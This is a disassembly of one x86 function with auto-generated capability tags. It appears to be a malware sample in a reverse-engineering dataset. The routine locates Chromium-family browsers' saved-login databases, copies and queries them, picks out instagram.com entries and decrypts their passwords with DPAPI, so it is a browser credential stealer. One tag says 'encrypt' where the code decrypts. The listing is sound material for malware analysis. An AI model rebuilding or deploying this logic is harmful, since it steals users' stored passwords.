Function at 0x4086e0
Capabilities:
Check if file exists
Copy file
Delete file
Encrypt data using dpapi
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x129c
call fcn.005ccbd0
mov eax, dword [0x658e64]
xor eax, ebp
mov dword [ebp - 4], eax
movzx eax, word [0x6340d8]
movq xmm0, qword [str.Login_Data]
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov word [ebp - 0x80], ax
mov al, byte [0x6340da]
push 0x75
mov byte [ebp - 0x7e], al
lea eax, [ebp - 0x7d]
push 0
push eax
mov dword [ebp - 0x128c], ecx
movq qword [ebp - 0x88], xmm0
call fcn.005cf9e0
movups xmm0, xmmword [str.select__from_logins_where_blacklisted_by_user0_]
movzx eax, word [0x63410c]
add esp, 0xc
mov word [ebp - 0x258], ax
lea eax, [ebp - 0x256]
movups xmmword [ebp - 0x288], xmm0
mov dword [ebp - 0x1288], 0
movups xmm0, xmmword [0x6340ec]
push 0xce
push 0
movups xmmword [ebp - 0x278], xmm0
push eax
movups xmm0, xmmword [0x6340fc]
mov dword [ebp - 0x1284], 0
movups xmmword [ebp - 0x268], xmm0
call fcn.005cf9e0
mov edi, dword [ebp + 8]
add esp, 0xc
cmp edi, 0xd
jne 0x4087a7
push str.MapleStudioChromePlusUser_DataDefault_
jmp 0x4087fa
cmp edi, 0xc
jne 0x4087b3
push str.GoogleChrome_SxSUser_DataDefault_
jmp 0x4087fa
cmp edi, 0xf
jne 0x4087bf
push str.ComodoDragonUser_DataDefault_
jmp 0x4087fa
cmp edi, 0x10
jne 0x4087cb
push str.ChromiumUser_DataDefault_
jmp 0x4087fa
cmp edi, 0x12
jne 0x4087d7
push str.TorchUser_DataDefault_
jmp 0x4087fa
cmp edi, 0xb
jne 0x4087e3
push str.FlockUser_DataDefault_
jmp 0x4087fa
cmp edi, 0x11
jne 0x4087f5
push str.select__from_wow_logins_where_blacklisted_by_user0_
lea eax, [ebp - 0x288]
jmp 0x408800
push str.GoogleChromeUser_DataDefault_
lea eax, [ebp - 0x188]
push 0x100
push eax
call fcn.005d5367
add esp, 0xc
lea eax, [ebp - 0x490]
test esi, esi
je 0x40882c
push esi
push 0x3e8
push eax
call fcn.005d5367
add esp, 0xc
jmp 0x4088fb
push eax
push 0
push 0
push 0x1c
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x408b2a
lea eax, [ebp - 0x188]
push eax
lea eax, [ebp - 0x490]
push 0x208
push eax
call fcn.005d6b58
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea eax, [ebp - 0x490]
add esp, 0xc
push eax
call esi
cmp eax, 0xffffffff
je 0x408b24
test al, 0x10
je 0x408b24
lea eax, [ebp - 0x490]
push eax
lea eax, [ebp - 0x1280]
push 0x208
push eax
call fcn.005d5367
lea ecx, [ebp - 0x490]
add esp, 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4088a2
sub ecx, edx
cmp byte [ebp + ecx - 0x491], 0x5c
je 0x4088ce
push 0x632e14
lea eax, [ebp - 0x490]
push 0x208
push eax
call fcn.005d6b58
add esp, 0xc
lea eax, [ebp - 0x88]
push eax
lea eax, [ebp - 0x490]
push 0x208
push eax
call fcn.005d6b58
add esp, 0xc
lea eax, [ebp - 0x490]
push eax
call esi
cmp eax, 0xffffffff
je 0x408b24
lea eax, [ebp - 0x878]
push eax
push 0x3e8
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x88]
push eax
lea eax, [ebp - 0x878]
push 0x3e8
push eax
call fcn.005d6b58
add esp, 0xc
lea eax, [ebp - 0x878]
push 0
push eax
lea eax, [ebp - 0x490]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x408950
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [ebp - 0x490]
jmp 0x408956
lea ecx, [ebp - 0x878]
push 0
push 1
lea edx, [ebp - 0x1288]
call fcn.004870e0
add esp, 8
test eax, eax
jne 0x408b2a
lea ecx, [ebp - 0x288]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408980
mov ebx, dword [ebp - 0x1288]
lea eax, [ebp - 0x1284]
push 0
push eax
sub ecx, edx
lea edx, [ebp - 0x288]
push 0
push 0
push ecx
mov ecx, ebx
call fcn.00464660
add esp, 0x14
test eax, eax
jne 0x408b2a
mov eax, dword [ebp - 0x1284]
test eax, eax
je 0x408b2a
push eax
call fcn.00433df0
add esp, 4
cmp eax, 0x65
je 0x408aed
cmp eax, 0x64
jne 0x408ae7
push 1
push dword [ebp - 0x1284]
call fcn.00434800
push eax
lea eax, [ebp - 0x1078]
push 0x400
push eax
call fcn.005d5367
add esp, 0x14
lea eax, [ebp - 0x1078]
push 0x400
push eax
call fcn.005d69be
lea eax, [ebp - 0x1078]
push str.instagram.com
push eax
call fcn.005cebc0
add esp, 0x10
test eax, eax
je 0x408ad0
push 3
push dword [ebp - 0x1284]
call fcn.00434800
push 5
push dword [ebp - 0x1284]
mov ebx, eax
call fcn.00434320
push 5
push dword [ebp - 0x1284]
mov esi, eax
call fcn.00434420
add esp, 0x18
mov dword [ebp - 0x1294], eax
lea eax, [ebp - 0x129c]
mov dword [ebp - 0x1290], esi
mov byte [ebp - 0xc78], 0
push eax
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x1294]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
jne 0x408a98
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x408abc
mov esi, dword [ebp - 0x129c]
lea eax, [ebp - 0xc78]
push esi
push dword [ebp - 0x1298]
push eax
call fcn.005cf460
add esp, 0xc
mov byte [ebp + esi - 0xc78], 0
mov ecx, dword [ebp - 0x128c]
lea eax, [ebp - 0xc78]
push eax
push ebx
push edi
call fcn.004072f0
push dword [ebp - 0x1284]
call fcn.00433df0
add esp, 4
cmp eax, 0x65
jne 0x4089d5
mov ebx, dword [ebp - 0x1288]
push dword [ebp - 0x1284]
call fcn.00433060
add esp, 4
xor edx, edx
mov ecx, ebx
call fcn.00485280
lea eax, [ebp - 0x878]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005cc070
mov esp, ebp
pop ebp
ret 8
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005cc070
mov esp, ebp
pop ebp
ret 8